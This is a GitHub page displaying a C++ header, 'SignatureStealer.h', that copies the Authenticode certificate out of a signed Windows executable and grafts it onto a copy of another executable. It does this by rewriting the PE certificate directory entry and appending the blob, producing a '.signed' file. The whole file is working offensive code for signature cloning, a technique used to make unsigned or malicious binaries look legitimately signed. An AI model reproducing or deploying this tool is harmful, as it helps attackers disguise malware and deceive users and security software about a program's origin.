Repository navigation
Expand file tree
/
Copy pathSignatureStealer.h
More file actions
173 lines (138 loc) · 5.07 KB
/
Copy pathSignatureStealer.h
File metadata and controls
173 lines (138 loc) · 5.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#pragma once
#include <iostream>
#include <vector>
#include <fstream>
#include <Windows.h>
#include <string>
std::string CreateCopy(std::string& path)
{
//new file name
std::string newPath = path + ".signed";
//open input and output steam
std::ofstream newFile(newPath, std::ios::binary);
std::ifstream baseFile(path, std::ios::binary);
//error checks
if (!newFile.is_open())
{
std::cout << "Could not open newFile stream";
return "";
}
if (!baseFile.is_open())
{
std::cout << "Could not open basefile stream";
return "";
}
//get filesize
baseFile.seekg(0, std::ios::end);
int fileSize = baseFile.tellg();
baseFile.seekg(0, std::ios::beg);
//create buffer for filesize and copy into it
char* content = new char[fileSize];
baseFile.read(content, fileSize);
//copy buffer to new file
newFile.write(content, fileSize);
//clean up
baseFile.close();
newFile.close();
delete[] content;
return newPath;
}
int GetPositionOfPosition(int* size, std::string& path)
{
//create buffer for header
uint8_t headers[0xFFF]; //perhaps this a little big but eh
//read header data in buffer
std::ifstream stream(path, std::ios::binary);
stream.read(reinterpret_cast<char*>(&headers), sizeof(headers));
stream.close();
//get dos and nt header
PIMAGE_DOS_HEADER dosHeaders = reinterpret_cast<PIMAGE_DOS_HEADER>(&headers);
PIMAGE_NT_HEADERS64 ntHeader = reinterpret_cast<PIMAGE_NT_HEADERS64>(reinterpret_cast<uintptr_t>(&headers) + dosHeaders->e_lfanew);
//get end of optional header
int location = (reinterpret_cast<uintptr_t>(&ntHeader->OptionalHeader.DataDirectory) + sizeof(IMAGE_DATA_DIRECTORY)) - reinterpret_cast<uintptr_t>(&headers);
//add offset depending on platform
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
location += 24;
else
location += 8;
//both values are DWORDS so add 4 bytes to skip location and get size
*size = location + 4;
return location;
}
DWORD GetPosition(DWORD* size, std::string& path)
{
//create buffer for header
uint8_t headers[0xFFF];
//read header data in buffer
std::ifstream stream(path, std::ios::binary);
stream.read(reinterpret_cast<char*>(&headers), sizeof(headers));
stream.close();
//get positions in buffer
int locationSize;
int location = GetPositionOfPosition(&locationSize, path);
//interprete the location as dword pointer and get the value
DWORD locationInFile = *(DWORD*)(&headers[location]);
DWORD sizeValue = *(DWORD*)(&headers[locationSize]);
*size = sizeValue;
return locationInFile;
}
bool StealCertificateFromFile(std::string& targetPath, std::string& addPath)
{
//Get location and size of certificate from target program
DWORD certificateSize;
DWORD certificateLocation = GetPosition(&certificateSize, targetPath);
//error check
if (certificateSize == 0x0 || certificateLocation == 0x0)
{
std::cout << "[x] Targetfile is not signed." << std::endl;
system("pause");
return false;
}
std::cout << "[<] Found certificate at position -> 0x" << std::hex << certificateLocation << std::endl;
std::cout << "[<] Certificate size -> " << std::dec << certificateSize << " bytes" << std::endl;
//Copy certificate into buffer
char* cert = new char[certificateSize];
std::ifstream targetFileInput(targetPath, std::ios::binary);
targetFileInput.seekg(certificateLocation);
targetFileInput.read(cert, certificateSize);
targetFileInput.close();
std::cout << "[<] Copied certificate" << std::endl;
//create copy of program to add certificate too to not mess stuff up
std::string newFilePath = CreateCopy(addPath);
std::cout << "[<] Created copy of file to add certificate" << std::endl;
//get positions to write cert position and size to
int indexSize;
int indexPosition = GetPositionOfPosition(&indexSize, addPath);
//load whole file into buffer and edit there because I have no clue how to do it with streams
//open steam to new file
std::ifstream newFileIn(newFilePath, std::ios::binary);
//get filesize
newFileIn.seekg(0, std::ios::end);
int fileSize = newFileIn.tellg();
newFileIn.seekg(0, std::ios::beg);
//read file to buffer
char* fileContent = new char[fileSize];
newFileIn.read(fileContent, fileSize);
newFileIn.close();
//overwrite position and size
std::ofstream newFileOff(newFilePath, std::ios::binary);
DWORD createdCertLocation = fileSize;
DWORD createdCertSize = certificateSize;
std::cout << "[<] Overwriting values in add file" << std::endl;
*(DWORD*)&fileContent[indexPosition] = createdCertLocation;
*(DWORD*)&fileContent[indexSize] = createdCertSize;
//write buffer back to file
newFileOff.write(fileContent, fileSize);
newFileOff.close();
delete[] fileContent;
//close stream and open appended stream to add certificate to the end
std::cout << "[<] Done overwriting location and size" << std::endl;
std::ofstream coutfile(newFilePath, std::ios::binary | std::ios::app);
coutfile.write(cert, certificateSize);
//clean up
coutfile.close();
delete[] cert;
std::cout << "[<] Added certificate in new file at -> 0x" << std::hex << createdCertLocation << " with size -> " << std::dec << certificateSize << std::endl;;
std::cout << "SUCCESS" << std::endl;
return true;
}